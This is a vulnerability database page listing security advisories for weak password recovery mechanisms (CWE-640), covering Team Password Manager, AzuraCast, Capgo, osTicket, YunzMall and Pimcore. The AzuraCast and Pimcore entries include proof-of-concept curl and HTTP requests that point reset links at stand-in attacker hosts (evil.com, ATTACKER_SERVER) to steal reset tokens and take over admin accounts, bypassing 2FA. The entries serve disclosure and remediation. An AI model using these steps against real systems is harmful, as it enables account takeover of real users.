Common Weakness Enumeration

CWE-640

Allowed-with-Review

Weak Password Recovery Mechanism for Forgotten Password

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

431 vulnerabilities reference this CWE, most recent first.

GHSA-GPWW-2QCP-Q6C7

Vulnerability from github – Published: 2026-09-02 03:31 – Updated: 2026-09-02 03:31
VLAI
Details

Team Password Manager before 14.184.308 fails to enforce authentication requirements in the local account password reset flow. Unauthenticated attackers can reset local account passwords and authenticate as those users to gain unauthorized access.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-84699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T01:17:24Z",
    "severity": "CRITICAL"
  },
  "details": "Team Password Manager before 14.184.308 fails to enforce authentication requirements in the local account password reset flow. Unauthenticated attackers can reset local account passwords and authenticate as those users to gain unauthorized access.",
  "id": "GHSA-gpww-2qcp-q6c7",
  "modified": "2026-09-02T03:31:12Z",
  "published": "2026-09-02T03:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84699"
    },
    {
      "type": "WEB",
      "url": "https://teampasswordmanager.com"
    },
    {
      "type": "WEB",
      "url": "https://teampasswordmanager.com/blog/chrome-extension-6.42.27-tpm-14.184.308"
    },
    {
      "type": "WEB",
      "url": "https://teampasswordmanager.com/docs/changelog"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/team-password-manager-before-14.184.308-authentication-bypass-in-password-reset"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GV7R-3MR9-H5X8

Vulnerability from github – Published: 2026-05-04 21:17 – Updated: 2026-05-13 13:42
VLAI
Summary
AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass
Details

Summary

The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.

Details

Root Cause 1: Unconditional X-Forwarded-Host Trust

backend/src/Middleware/ApplyXForwarded.php:35-40:

if ($request->hasHeader('X-Forwarded-Host')) {
    $hasXForwardedHeader = true;
    $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true);
    if (null !== $xfHost) {
        $uri = $uri->withHost($xfHost);
    }
}

There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.

In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgi_pass with include fastcgi_params. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP_* parameters. The proxy_params.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxy_pass directives (websocket and vite dev server), NOT to the fastcgi_pass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.

Root Cause 2: Request Host Used for Security-Critical URLs

backend/src/Http/Router.php:53-77 in buildBaseUrl():

$useRequest ??= $settings->prefer_browser_url; // default: true

// ...
if ($useRequest || $baseUrl->getHost() === '') {
    $ignoredHosts = ['web', 'nginx', 'localhost'];
    if (!in_array($currentUri->getHost(), $ignoredHosts, true)) {
        $baseUrl = (new Uri())
            ->withScheme($currentUri->getScheme())
            ->withHost($currentUri->getHost())
            ->withPort($currentUri->getPort());
    }
}

With prefer_browser_url = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a base_url is configured in settings, it is overridden by the poisoned request host.

Root Cause 3: Password Reset Generates Absolute URL

backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77:

$router = $request->getRouter();
$url = $router->named(
    routeName: 'account:login-token',
    routeParams: ['token' => $token],
    absolute: true
);

This URL is embedded in the password reset email sent to the victim.

Root Cause 4: Reset Token Wipes 2FA

backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75:

$user->setNewPassword($data['password']);
$user->two_factor_secret = null;

When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.

PoC

Prerequisites: An AzuraCast instance with a user account (e.g., admin@target.com) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.

Step 1: Trigger poisoned password reset

curl -X POST https://target.azuracast.example/forgot \
  -H "X-Forwarded-Host: evil.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=admin@target.com"

Expected result: The password reset email sent to admin@target.com contains a URL like:

https://evil.com/login-token/abc123def456...

Step 2: Capture the token

When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token abc123def456....

Step 3: Use token on real instance

# First, GET the reset page to obtain CSRF token
curl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...

# Extract CSRF token from response, then POST new password
curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "csrf=<extracted_csrf_token>&password=AttackerPassword123"

Result: The victim's password is changed to AttackerPassword123 and their 2FA is destroyed (two_factor_secret = null). The attacker is logged in with full access.

Impact

  • Full account takeover of any user account, including administrators, without any prior authentication
  • 2FA bypass — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit
  • Administrative compromise — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings
  • The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success

Recommended Fix

Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist

In backend/src/Middleware/ApplyXForwarded.php, only apply X-Forwarded-* headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):

// Add trusted proxy check
$trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web'];
$remoteAddr = $request->getServerParams()['REMOTE_ADDR'] ?? '';

if (!in_array($remoteAddr, $trustedProxies, true)) {
    return $handler->handle($request);
}

// ... existing X-Forwarded-* processing

Fix 2 (Defense in depth): Use configured base URL for security-critical emails

In ForgotPasswordAction.php, generate the reset URL using the configured base_url setting rather than the request-derived URL:

$router = $request->getRouter();
$url = $router->named(
    routeName: 'account:login-token',
    routeParams: ['token' => $token],
    absolute: true,
    // Force use of configured base URL, not request host
);

Or modify Router::buildBaseUrl() to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.

Fix 3 (Defense in depth): Don't wipe 2FA on password reset

In LoginTokenAction.php:75, remove the line $user->two_factor_secret = null;. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "azuracast/azuracast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:17:45Z",
    "nvd_published_at": "2026-05-09T20:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `ApplyXForwarded` middleware unconditionally trusts the client-supplied `X-Forwarded-Host` HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker\u0027s server. The attacker then uses the token on the real instance to reset the victim\u0027s password and destroy their 2FA configuration, achieving full account takeover.\n\n## Details\n\n### Root Cause 1: Unconditional X-Forwarded-Host Trust\n\n`backend/src/Middleware/ApplyXForwarded.php:35-40`:\n```php\nif ($request-\u003ehasHeader(\u0027X-Forwarded-Host\u0027)) {\n    $hasXForwardedHeader = true;\n    $xfHost = Types::stringOrNull($request-\u003egetHeaderLine(\u0027X-Forwarded-Host\u0027), true);\n    if (null !== $xfHost) {\n        $uri = $uri-\u003ewithHost($xfHost);\n    }\n}\n```\n\nThere is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.\n\nIn the default Docker deployment, nginx\u0027s PHP location block (`util/docker/web/nginx/azuracast.conf.tmpl:150-171`) uses `fastcgi_pass` with `include fastcgi_params`. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as `HTTP_*` parameters. The `proxy_params.conf` file \u2014 which explicitly sets `X-Forwarded-For`, `X-Forwarded-Proto`, and `X-Forwarded-Port` \u2014 only applies to `proxy_pass` directives (websocket and vite dev server), NOT to the `fastcgi_pass` PHP handler. Therefore, client-supplied `X-Forwarded-Host` reaches PHP unmodified.\n\n### Root Cause 2: Request Host Used for Security-Critical URLs\n\n`backend/src/Http/Router.php:53-77` in `buildBaseUrl()`:\n```php\n$useRequest ??= $settings-\u003eprefer_browser_url; // default: true\n\n// ...\nif ($useRequest || $baseUrl-\u003egetHost() === \u0027\u0027) {\n    $ignoredHosts = [\u0027web\u0027, \u0027nginx\u0027, \u0027localhost\u0027];\n    if (!in_array($currentUri-\u003egetHost(), $ignoredHosts, true)) {\n        $baseUrl = (new Uri())\n            -\u003ewithScheme($currentUri-\u003egetScheme())\n            -\u003ewithHost($currentUri-\u003egetHost())\n            -\u003ewithPort($currentUri-\u003egetPort());\n    }\n}\n```\n\nWith `prefer_browser_url = true` (the default at `backend/src/Entity/Settings.php:109`), the request URI host \u2014 already poisoned by `ApplyXForwarded` \u2014 is used as the base URL for generating absolute URLs. Even if a `base_url` is configured in settings, it is overridden by the poisoned request host.\n\n### Root Cause 3: Password Reset Generates Absolute URL\n\n`backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77`:\n```php\n$router = $request-\u003egetRouter();\n$url = $router-\u003enamed(\n    routeName: \u0027account:login-token\u0027,\n    routeParams: [\u0027token\u0027 =\u003e $token],\n    absolute: true\n);\n```\n\nThis URL is embedded in the password reset email sent to the victim.\n\n### Root Cause 4: Reset Token Wipes 2FA\n\n`backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75`:\n```php\n$user-\u003esetNewPassword($data[\u0027password\u0027]);\n$user-\u003etwo_factor_secret = null;\n```\n\nWhen a `ResetPassword` token is consumed, the user\u0027s 2FA secret is unconditionally destroyed.\n\n## PoC\n\n**Prerequisites:** An AzuraCast instance with a user account (e.g., `admin@target.com`) that has 2FA enabled. Attacker controls `evil.com` with a web server that logs incoming requests.\n\n### Step 1: Trigger poisoned password reset\n\n```bash\ncurl -X POST https://target.azuracast.example/forgot \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"email=admin@target.com\"\n```\n\n**Expected result:** The password reset email sent to `admin@target.com` contains a URL like:\n```\nhttps://evil.com/login-token/abc123def456...\n```\n\n### Step 2: Capture the token\n\nWhen the victim clicks the link in their email, their browser navigates to `https://evil.com/login-token/abc123def456...`. The attacker\u0027s web server at `evil.com` captures the full URL path, extracting the token `abc123def456...`.\n\n### Step 3: Use token on real instance\n\n```bash\n# First, GET the reset page to obtain CSRF token\ncurl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...\n\n# Extract CSRF token from response, then POST new password\ncurl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"csrf=\u003cextracted_csrf_token\u003e\u0026password=AttackerPassword123\"\n```\n\n**Result:** The victim\u0027s password is changed to `AttackerPassword123` and their 2FA is destroyed (`two_factor_secret = null`). The attacker is logged in with full access.\n\n## Impact\n\n- **Full account takeover** of any user account, including administrators, without any prior authentication\n- **2FA bypass** \u2014 the password reset flow unconditionally destroys 2FA configuration, negating its security benefit\n- **Administrative compromise** \u2014 if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings\n- The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success\n\n## Recommended Fix\n\n**Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist**\n\nIn `backend/src/Middleware/ApplyXForwarded.php`, only apply `X-Forwarded-*` headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):\n\n```php\n// Add trusted proxy check\n$trustedProxies = [\u0027127.0.0.1\u0027, \u0027::1\u0027, \u0027nginx\u0027, \u0027web\u0027];\n$remoteAddr = $request-\u003egetServerParams()[\u0027REMOTE_ADDR\u0027] ?? \u0027\u0027;\n\nif (!in_array($remoteAddr, $trustedProxies, true)) {\n    return $handler-\u003ehandle($request);\n}\n\n// ... existing X-Forwarded-* processing\n```\n\n**Fix 2 (Defense in depth): Use configured base URL for security-critical emails**\n\nIn `ForgotPasswordAction.php`, generate the reset URL using the configured `base_url` setting rather than the request-derived URL:\n\n```php\n$router = $request-\u003egetRouter();\n$url = $router-\u003enamed(\n    routeName: \u0027account:login-token\u0027,\n    routeParams: [\u0027token\u0027 =\u003e $token],\n    absolute: true,\n    // Force use of configured base URL, not request host\n);\n```\n\nOr modify `Router::buildBaseUrl()` to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.\n\n**Fix 3 (Defense in depth): Don\u0027t wipe 2FA on password reset**\n\nIn `LoginTokenAction.php:75`, remove the line `$user-\u003etwo_factor_secret = null;`. If 2FA recovery is needed, it should be a separate, explicit flow \u2014 not a side effect of password reset.",
  "id": "GHSA-gv7r-3mr9-h5x8",
  "modified": "2026-05-13T13:42:21Z",
  "published": "2026-05-04T21:17:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-gv7r-3mr9-h5x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/7c622a18b451533de317e53862b1f84acf4efd85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzuraCast/AzuraCast"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass"
}

GHSA-GXF7-Q22C-VMRJ

Vulnerability from github – Published: 2026-07-12 12:31 – Updated: 2026-07-12 12:31
VLAI
Details

Capgo before 12.128.2 allows email address changes without requiring current password re-authentication or verification of the existing email address. An attacker with access to a valid session cookie or authenticated browser can change the account email to gain control of account recovery and bypass multi-factor authentication protections.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
8.4 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-12T12:16:45Z",
    "severity": "HIGH"
  },
  "details": "Capgo before 12.128.2 allows email address changes without requiring current password re-authentication or verification of the existing email address. An attacker with access to a valid session cookie or authenticated browser can change the account email to gain control of account recovery and bypass multi-factor authentication protections.",
  "id": "GHSA-gxf7-q22c-vmrj",
  "modified": "2026-07-12T12:31:48Z",
  "published": "2026-07-12T12:31:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-9px4-w25f-mvm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56308"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/capgo-insufficient-authentication-in-email-change-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H2GF-GWXR-4PM4

Vulnerability from github – Published: 2026-07-30 12:32 – Updated: 2026-07-30 12:32
VLAI
Details

A logic vulnerability in the password reset token validation routine implemented by osTicket in versions prior to v1.17.8 and v1.18.4. During the password reset process, the application retrieves the timestamp associated with the provided token and checks whether the configured validity period has expired. Consequently, the expiry check is only performed if the timestamp lookup fails, allowing tokens with an existing timestamp to bypass the intended expiry validation. Therefore, an attacker able to obtain a valid password reset token could reuse it to perform an unauthorised password reset and compromise the affected account.

Severity
9.1 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-18363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T11:16:26Z",
    "severity": "CRITICAL"
  },
  "details": "A logic vulnerability in the password reset token validation routine implemented by osTicket in versions prior to v1.17.8 and v1.18.4. During the password reset process, the application retrieves the timestamp associated with the provided token and checks whether the configured validity period has expired. Consequently, the expiry check is only performed if the timestamp lookup fails, allowing tokens with an existing timestamp to bypass the intended expiry validation. Therefore, an attacker able to obtain a valid password reset token could reuse it to perform an unauthorised password reset and compromise the affected account.",
  "id": "GHSA-h2gf-gwxr-4pm4",
  "modified": "2026-07-30T12:32:18Z",
  "published": "2026-07-30T12:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18363"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/weak-password-recovery-mechanism-osticket-enhancesoft-llc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H363-2PF8-49MQ

Vulnerability from github – Published: 2025-01-09 06:30 – Updated: 2025-01-09 06:30
VLAI
Details

A vulnerability, which was classified as critical, has been found in YunzMall up to 2.4.2. This issue affects the function changePwd of the file /app/platform/controllers/ResetpwdController.php of the component HTTP POST Request Handler. The manipulation of the argument pwd leads to weak password recovery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T05:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, has been found in YunzMall up to 2.4.2. This issue affects the function changePwd of the file /app/platform/controllers/ResetpwdController.php of the component HTTP POST Request Handler. The manipulation of the argument pwd leads to weak password recovery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-h363-2pf8-49mq",
  "modified": "2025-01-09T06:30:23Z",
  "published": "2025-01-09T06:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0331"
    },
    {
      "type": "WEB",
      "url": "https://note.zhaoj.in/share/DsijzdQDJSAp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.290819"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.290819"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.471663"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H854-C3M3-MH5V

Vulnerability from github – Published: 2026-08-28 19:04 – Updated: 2026-08-28 19:04
VLAI
Summary
Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass
Details

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

image

  • Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

image

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

image

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

  • Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
  • Package: pimcore/studio-backend-bundle
  • Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/studio-backend-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/studio-backend-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:04:16Z",
    "nvd_published_at": "2026-07-09T21:16:55Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled `resetPasswordUrl`. The server generates a real cryptographic recovery token, appends it to the attacker\u0027s URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker\u0027s server. The attacker then uses `POST /pimcore-studio/api/login/token` to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.\n\n## Vulnerability Details\n\n### Unauthenticated Endpoint Accepts Attacker URL\n\nThe reset password endpoint at `src/User/Controller/ResetPasswordController.php` line 53 is public (uses `PUBLIC_STUDIO_API` voter). The `ResetPassword` schema at `src/User/Schema/ResetPassword.php` accepts a `resetPasswordUrl` string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.\n\n```php\nfinal readonly class ResetPassword\n{\n    public function __construct(\n        private string $username,\n        private string $resetPasswordUrl  // attacker-controlled, no validation\n    ) {}\n}\n```\n\n### Token Appended to Attacker URL\n\nIn `src/User/Service/UserLoginService.php` at line 64-65, the service generates a real recovery token and concatenates the attacker\u0027s URL with the token:\n\n```php\n$token = $this-\u003eauthenticationResolver-\u003egenerateTokenByUser($user);\n$loginUrl = $resetPassword-\u003egetResetPasswordUrl() . \u0027?token=\u0027 . $token;\n```\n\nThe token is generated and stored in the database BEFORE `sendResetPasswordMail()` is called on line 68. Even if email delivery fails, the token exists.\n\n### Token Login Bypasses 2FA\n\n`src/Security/Authenticator/AdminTokenAuthenticator.php` line 60 explicitly disables 2FA on token login:\n\n```php\n$pimcoreUser-\u003esetTwoFactorAuthentication(\u0027required\u0027, false);\n```\n\n### Token Validity\n\nThe token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker\u0027s server captures it before the victim completes any reset flow.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4.\n\n### 1. Send password reset with attacker URL (no authentication needed)\n\n```http\nPOST /pimcore-studio/api/user/reset-password HTTP/1.1\nHost: TARGET\nContent-Type: 